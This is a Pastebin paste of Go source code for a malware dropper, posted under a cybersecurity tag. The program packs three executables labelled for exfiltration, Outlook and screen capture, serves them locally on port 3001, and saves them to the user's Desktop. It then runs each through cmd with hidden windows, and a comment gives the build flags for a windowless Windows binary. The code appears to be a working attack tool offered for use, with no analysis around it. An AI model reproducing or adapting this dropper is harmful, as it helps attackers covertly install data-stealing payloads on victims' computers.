Advertisement
FlyFar

Go Dropper - Hosts 3 files, downloads them from itself then executes them

Jul 23rd, 2023
1,791
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.84 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "net/http"
  5.     "github.com/gobuffalo/packr"
  6.     "io"
  7.     "os/exec"
  8.     "fmt"
  9.     "os"
  10.     "syscall"
  11.     "os/user"
  12.     "log"
  13. )
  14.  
  15.  
  16. //GOOS=windows GOARCH=amd64 packr build -ldflags "-H=windowsgui -s -w"
  17. func main() {
  18.     go HostFiles()
  19.     exfilurl := "http://127.0.0.1:3001/e.exe"
  20.     outlookurl := "http://127.0.0.1:3001/o.exe"
  21.     screenurl := "http://127.0.0.1:3001/s.exe"
  22.     usr, err := user.Current()
  23.     if err != nil {
  24.         log.Println( err )
  25.     }
  26.     fmt.Println( usr.HomeDir )
  27.     exfloc := usr.HomeDir + "\\Desktop\\e.exe"
  28.     outloc := usr.HomeDir + "\\Desktop\\o.exe"
  29.     screenloc := usr.HomeDir + "\\Desktop\\s.exe"
  30.  
  31.     DownloadFile(exfloc, exfilurl)
  32.     DownloadFile(outloc, outlookurl)
  33.     DownloadFile(screenloc, screenurl)
  34.  
  35.     c := exec.Command("cmd" ,"/C",screenloc)
  36.     c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  37.     if err := c.Start(); err != nil {
  38.        log.Println( err )
  39.     }
  40.  
  41.     a := exec.Command("cmd","/C",exfloc)
  42.     a.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  43.     if err := a.Start(); err != nil {
  44.         log.Println( err )
  45.     }  
  46.  
  47.     b := exec.Command("cmd", "/C" ,outloc)
  48.     b.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  49.     if err := b.Start(); err != nil {
  50.          log.Println( err )
  51.     }  
  52.  
  53. }
  54.  
  55. func HostFiles(){
  56.     box := packr.NewBox("./bin")
  57.     http.Handle("/", http.FileServer(box))
  58.     http.ListenAndServe(":3001", nil)
  59. }
  60.  
  61. func DownloadFile(filepath string, url string) error {
  62.     out, err := os.Create(filepath)
  63.     if err != nil {
  64.         return err
  65.     }
  66.     defer out.Close()
  67.     resp, err := http.Get(url)
  68.     if err != nil {
  69.         return err
  70.     }
  71.     defer resp.Body.Close()
  72.     _, err = io.Copy(out, resp.Body)
  73.     if err != nil {
  74.         return err
  75.     }
  76.     println("Downloaded file")
  77.     return nil
  78. }
Tags: go dropper
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement